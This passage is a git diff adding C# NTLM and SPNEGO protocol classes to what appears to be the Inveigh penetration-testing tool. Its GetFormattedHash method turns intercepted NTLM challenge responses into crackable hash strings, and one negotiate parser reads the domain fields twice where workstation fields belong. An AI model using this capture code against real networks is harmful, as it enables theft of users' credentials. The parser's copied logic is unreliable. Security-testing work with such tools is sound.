+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Signature);
+ packetWriter.Write(this.MessageType);
+ packetWriter.Write(this.TargetNameLen);
+ packetWriter.Write(this.TargetNameMaxLen);
+ packetWriter.Write(this.TargetNameBufferOffset);
+ packetWriter.Write(this.NegotiateFlags);
+ packetWriter.Write(this.ServerChallenge);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.TargetInfoLen);
+ packetWriter.Write(this.TargetInfoMaxLen);
+ packetWriter.Write(this.TargetInfoBufferOffset);
+ packetWriter.Write(this.Version);
+ packetWriter.Write(targetNameData);
+ packetWriter.Write(this.Payload);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] Encode(byte[] data)
+ {
+ SPNEGONegTokenResp spnegoNegTokenResp = new SPNEGONegTokenResp();
+ spnegoNegTokenResp.NegState = 1;
+ spnegoNegTokenResp.SupportedMech = new byte[10] { 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a };
+ byte[] segment1 = ASN1.Encode(0x04, data);
+ segment1 = ASN1.Encode(0xa2, segment1);
+ byte[] segment2 = ASN1.Encode(0x06, spnegoNegTokenResp.SupportedMech);
+ segment2 = ASN1.Encode(0xa1, segment2);
+ byte[] segment3 = ASN1.Encode(0x0a, new byte[1] { spnegoNegTokenResp.NegState });
+ segment3 = ASN1.Encode(0xa0, segment3);
+ byte[] asn1Data = Utilities.BlockCopy(segment3, segment2, segment1);
+ asn1Data = ASN1.Encode(0x30, asn1Data);
+ asn1Data = ASN1.Encode(0xa1, asn1Data);
+ return asn1Data;
+ }
+
+ private SPNEGONegTokenResp Decode(byte[] data)
+ {
+
+ SPNEGONegTokenResp spnegoNegTokenResp = new SPNEGONegTokenResp
+ {
+ NegState = ASN1.GetTagBytes(1, data)[0],
+ SupportedMech = ASN1.GetTagBytes(6, data),
+ ResponseToken = ASN1.GetTagBytes(4, data)
+ };
+
+ return spnegoNegTokenResp;
+ }
+
+ public byte[] Challenge(string challenge)
+ {
+ byte[] challengeData = new byte[8];
+ string challengeNew = "";
+
+ if (String.IsNullOrEmpty(challenge))
+ {
+ string challengeCharacters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ char[] challengeCharactersArray = new char[8];
+ Random random = new Random();
+
+ for (int i = 0; i < challengeCharactersArray.Length; i++)
+ {
+ challengeCharactersArray[i] = challengeCharacters[random.Next(challengeCharacters.Length)];
+ }
+
+ string finalString = new String(challengeCharactersArray);
+ challengeData = Encoding.UTF8.GetBytes(finalString);
+ challengeNew = (BitConverter.ToString(challengeData)).Replace("-", "");
+ }
+ else
+ {
+ challengeNew = challenge;
+ string challengeMod = challengeNew.Insert(2, "-").Insert(5, "-").Insert(8, "-").Insert(11, "-").Insert(14, "-").Insert(17, "-").Insert(20, "-");
+ int i = 0;
+
+ foreach (string character in challengeMod.Split('-'))
+ {
+ challengeData[i] = Convert.ToByte(Convert.ToInt16(character, 16));
+ i++;
+ }
+
+ }
+
+ return challengeData;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs
new file mode 100644
index 0000000..7f36060
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs
@@ -0,0 +1,94 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.NTLM
+{
+ class NTLMHelper
+ {
+ public string Signature { get; set; }
+ public uint MessageType { get; set; }
+
+ public NTLMHelper()
+ {
+
+ }
+ public NTLMHelper(byte[]data)
+ {
+ string signature = Encoding.UTF8.GetString(data);
+
+ if (signature.StartsWith("NTLMSSP"))
+ {
+ ReadBytes(data, 0);
+ }
+ else
+ {
+ SPNEGONegTokenInit token = this.Decode(data);
+ this.ReadBytes(token.MechToken, 0);
+ }
+ }
+
+ public NTLMHelper(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Signature = Encoding.UTF8.GetString(packetReader.ReadBytes(8));
+ this.MessageType = packetReader.ReadUInt16();
+ }
+
+ }
+
+ private SPNEGONegTokenInit Decode(byte[] data)
+ {
+ SPNEGONegTokenInit spnegoNegTokenInit = new SPNEGONegTokenInit
+ {
+ MechTypes = ASN1.GetTagBytes(6, data),
+ MechToken = ASN1.GetTagBytes(4, data)
+ };
+
+ return spnegoNegTokenInit;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs
new file mode 100644
index 0000000..f5a9353
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs
@@ -0,0 +1,120 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+using System;
+using System.IO;
+
+namespace Quiddity.NTLM
+{
+ class NTLMNegotiate
+ {
+ public byte[] Signature { get; set; }
+ public uint MessageType { get; set; }
+ public byte[] NegotiateFlags { get; set; }
+ public ushort DomainNameLen { get; set; }
+ public ushort DomainNameMaxLen { get; set; }
+ public uint DomainNameBufferOffset { get; set; }
+ public ushort WorkstationLen { get; set; }
+ public ushort WorkstationMaxLen { get; set; }
+ public uint WorkstationBufferOffset { get; set; }
+ public byte[] Version { get; set; }
+ public byte[] Payload { get; set; }
+
+ public NTLMNegotiate()
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 1;
+ this.NegotiateFlags = new byte[4] { 0x97, 0x82, 0x08, 0xe2 };
+ this.DomainNameLen = 0;
+ this.DomainNameMaxLen = 0;
+ this.DomainNameBufferOffset = 0;
+ this.WorkstationLen = 0;
+ this.WorkstationMaxLen = 0;
+ this.WorkstationBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[8];
+ }
+
+ public NTLMNegotiate(byte[] data, bool decode)
+ {
+
+ if (decode)
+ {
+ SPNEGONegTokenInit token = this.Decode(data);
+ this.ReadBytes(token.MechToken, 0);
+ }
+ else
+ {
+ ReadBytes(data, 0);
+ }
+
+ }
+
+ public NTLMNegotiate ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Signature = packetReader.ReadBytes(8);
+ this.MessageType = packetReader.ReadUInt16();
+ this.DomainNameLen = packetReader.ReadUInt16();
+ this.DomainNameMaxLen = packetReader.ReadUInt16();
+ this.DomainNameBufferOffset = packetReader.ReadUInt16();
+ this.DomainNameLen = packetReader.ReadUInt16();
+ this.DomainNameMaxLen = packetReader.ReadUInt16();
+ this.DomainNameBufferOffset = packetReader.ReadUInt16();
+ this.NegotiateFlags = packetReader.ReadBytes(4);
+ this.Version = packetReader.ReadBytes(8);
+ this.Payload = packetReader.ReadBytes(16);
+ return this;
+ }
+
+ }
+
+ private SPNEGONegTokenInit Decode(byte[] data)
+ {
+ SPNEGONegTokenInit spnegoNegTokenInit = new SPNEGONegTokenInit
+ {
+ MechTypes = ASN1.GetTagBytes(6, data),
+ MechToken = ASN1.GetTagBytes(4, data)
+ };
+
+ return spnegoNegTokenInit;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs
new file mode 100644
index 0000000..84d49f5
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs
@@ -0,0 +1,220 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+using System;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.NTLM
+{
+ class NTLMResponse
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/033d32cc-88f9-4483-9bf2-b273055038ce
+ public byte[] Signature { get; set; }
+ public uint MessageType { get; set; }
+ public ushort LmChallengeResponseLen { get; set; }
+ public ushort LmChallengeResponseMaxLen { get; set; }
+ public uint LmChallengeResponseBufferOffset { get; set; }
+ public ushort NtChallengeResponseLen { get; set; }
+ public ushort NtChallengeResponseMaxLen { get; set; }
+ public uint NtChallengeResponseBufferOffset { get; set; }
+ public ushort DomainNameLen { get; set; }
+ public ushort DomainNameMaxLen { get; set; }
+ public uint DomainNameBufferOffset { get; set; }
+ public ushort UserNameLen { get; set; }
+ public ushort UserNameMaxLen { get; set; }
+ public uint UserNameBufferOffset { get; set; }
+ public ushort WorkstationLen { get; set; }
+ public ushort WorkstationMaxLen { get; set; }
+ public uint WorkstationBufferOffset { get; set; }
+ public ushort EncryptedRandomSessionKeyLen { get; set; }
+ public ushort EncryptedRandomSessionKeyMaxLen { get; set; }
+ public uint EncryptedRandomSessionKeyBufferOffset { get; set; }
+ public byte[] NegotiateFlags { get; set; }
+ public byte[] Version { get; set; }
+ public byte[] MIC { get; set; }
+ public byte[] Payload { get; set; }
+
+ // custom properties
+ public byte[] DomainName { get; set; }
+ public byte[] UserName { get; set; }
+ public byte[] Workstation { get; set; }
+ public byte[] EncryptedRandomSessionKey { get; set; }
+ public byte[] NtChallengeResponse { get; set; }
+ public byte[] LmChallengeResponse { get; set; }
+ public byte[] Timestamp { get; set; }
+
+ public NTLMResponse()
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 3;
+ this.LmChallengeResponseLen = 0;
+ this.LmChallengeResponseMaxLen = 0;
+ this.LmChallengeResponseBufferOffset = 0;
+ this.NtChallengeResponseLen = 0;
+ this.NtChallengeResponseMaxLen = 0;
+ this.NtChallengeResponseBufferOffset = 0;
+ this.DomainNameLen = 0;
+ this.DomainNameMaxLen = 0;
+ this.DomainNameBufferOffset = 0;
+ this.UserNameLen = 0;
+ this.UserNameMaxLen = 0;
+ this.UserNameBufferOffset = 0;
+ this.WorkstationLen = 0;
+ this.WorkstationMaxLen = 0;
+ this.WorkstationBufferOffset = 0;
+ this.EncryptedRandomSessionKeyLen = 0;
+ this.EncryptedRandomSessionKeyMaxLen = 0;
+ this.EncryptedRandomSessionKeyBufferOffset = 0;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.MIC = new byte[16];
+ this.Payload = new byte[0];
+ }
+
+ public NTLMResponse(byte[] data)
+ {
+ string signature = Encoding.UTF8.GetString(data);
+
+ if (signature.StartsWith("NTLMSSP"))
+ {
+ ReadBytes(data);
+ }
+ else
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ this.ReadBytes(token.ResponseToken);
+ }
+
+ ParseValues();
+ }
+
+ public NTLMResponse(byte[] data, bool decode)
+ {
+
+ if(decode)
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ this.ReadBytes(token.ResponseToken);
+ }
+ else
+ {
+ ReadBytes(data);
+ }
+
+ ParseValues();
+ }
+
+ public void ReadBytes(byte[] data)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ this.Signature = packetReader.ReadBytes(8);
+ this.MessageType = packetReader.ReadUInt32();
+ this.LmChallengeResponseLen = packetReader.ReadUInt16();
+ this.LmChallengeResponseMaxLen = packetReader.ReadUInt16();
+ this.LmChallengeResponseBufferOffset = packetReader.ReadUInt32();
+ this.NtChallengeResponseLen = packetReader.ReadUInt16();
+ this.NtChallengeResponseMaxLen = packetReader.ReadUInt16();
+ this.NtChallengeResponseBufferOffset = packetReader.ReadUInt32();
+ this.DomainNameLen = packetReader.ReadUInt16();
+ this.DomainNameMaxLen = packetReader.ReadUInt16();
+ this.DomainNameBufferOffset = packetReader.ReadUInt32();
+ this.UserNameLen = packetReader.ReadUInt16();
+ this.UserNameMaxLen = packetReader.ReadUInt16();
+ this.UserNameBufferOffset = packetReader.ReadUInt32();
+ this.WorkstationLen = packetReader.ReadUInt16();
+ this.WorkstationMaxLen = packetReader.ReadUInt16();
+ this.WorkstationBufferOffset = packetReader.ReadUInt32();
+ this.EncryptedRandomSessionKeyLen = packetReader.ReadUInt16();
+ this.EncryptedRandomSessionKeyMaxLen = packetReader.ReadUInt16();
+ this.EncryptedRandomSessionKeyBufferOffset = packetReader.ReadUInt32();
+ this.NegotiateFlags = packetReader.ReadBytes(4);
+ this.Version = packetReader.ReadBytes(8);
+ this.MIC = packetReader.ReadBytes(16);
+ this.Payload = packetReader.ReadBytes(data.Length - 88);
+ }
+
+ }
+
+ public string GetFormattedHash(string challenge, string user, string domain)
+ {
+ string hash = "";
+
+ if (this.NtChallengeResponse.Length > 24)
+ {
+ hash = user + "::" + domain + ":" + challenge + ":" + BitConverter.ToString(this.NtChallengeResponse).Replace("-", "").Insert(32, ":");
+ }
+ else if (this.NtChallengeResponse.Length == 24)
+ {
+ hash = user + "::" + domain + ":" + BitConverter.ToString(this.LmChallengeResponse).Replace("-", "") + ":" + BitConverter.ToString(this.NtChallengeResponse).Replace("-", "").Insert(32, ":") + ":" + challenge;
+ }
+
+ return hash;
+ }
+
+ private SPNEGONegTokenResp Decode(byte[] data)
+ {
+ SPNEGONegTokenResp spnegoNegTokenResp = new SPNEGONegTokenResp
+ {
+ NegState = ASN1.GetTagBytes(1, data)[0],
+ SupportedMech = ASN1.GetTagBytes(6, data),
+ ResponseToken = ASN1.GetTagBytes(4, data),
+ MechListMIC = ASN1.GetTagBytes(4, ASN1.GetTagBytes(163, data))
+ };
+
+ return spnegoNegTokenResp;
+ }
+
+ private void ParseValues()
+ {
+ this.DomainName = new byte[this.DomainNameLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.DomainNameBufferOffset - 88), this.DomainName, 0, this.DomainNameLen);
+ this.UserName = new byte[this.UserNameLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.UserNameBufferOffset - 88), this.UserName, 0, this.UserNameLen);
+ this.Workstation = new byte[this.WorkstationLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.WorkstationBufferOffset - 88), this.Workstation, 0, this.WorkstationLen);
+ this.EncryptedRandomSessionKey = new byte[this.EncryptedRandomSessionKeyLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.EncryptedRandomSessionKeyBufferOffset - 88), this.EncryptedRandomSessionKey, 0, this.EncryptedRandomSessionKeyLen);
+ this.LmChallengeResponse = new byte[this.LmChallengeResponseLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.LmChallengeResponseBufferOffset - 88), this.LmChallengeResponse, 0, this.LmChallengeResponseLen);
+ this.NtChallengeResponse = new byte[this.NtChallengeResponseLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.NtChallengeResponseBufferOffset - 88), this.NtChallengeResponse, 0, this.NtChallengeResponseLen);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs
new file mode 100644
index 0000000..2e9c678
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs
@@ -0,0 +1,128 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Text;
+using System.IO;
+
+namespace Quiddity.NTLM
+{
+ class NTLMAVPair
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e
+ public ushort AvId { get; set; }
+ public ushort AvLen { get; set; }
+ public byte[] Value { get; set; }
+
+ public NTLMAVPair()
+ {
+ this.AvId = 0;
+ this.AvLen = 0;
+ this.Value = new byte[0];
+ }
+
+ public byte[] GetBytes(string netBIOSDomainName, string netBIOSComputerName, string dnsDomainName, string dnsComputerName, string dnsTreeName, byte[] timestamp)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+
+ if (!String.IsNullOrEmpty(netBIOSDomainName))
+ {
+ this.AvId = 2;
+ this.Value = Encoding.Unicode.GetBytes(netBIOSDomainName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(netBIOSComputerName))
+ {
+ this.AvId = 1;
+ this.Value = Encoding.Unicode.GetBytes(netBIOSComputerName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(dnsDomainName))
+ {
+ this.AvId = 4;
+ this.Value = Encoding.Unicode.GetBytes(dnsDomainName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(dnsComputerName))
+ {
+ this.AvId = 3;
+ this.Value = Encoding.Unicode.GetBytes(dnsComputerName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(dnsTreeName) && !String.Equals(dnsTreeName, netBIOSComputerName))
+ {
+ this.AvId = 5;
+ this.Value = Encoding.Unicode.GetBytes(dnsTreeName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ this.AvId = 7;
+ this.Value = timestamp;
+ this.AvLen = 8;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+
+ this.AvId = 0;
+ this.AvLen = 0;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs
new file mode 100644
index 0000000..36eba9a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.NTLM
+{
+ class NTLMv1Response
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b88739c6-1266-49f7-9d22-b13923bd8d66
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs
new file mode 100644
index 0000000..cbda85b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
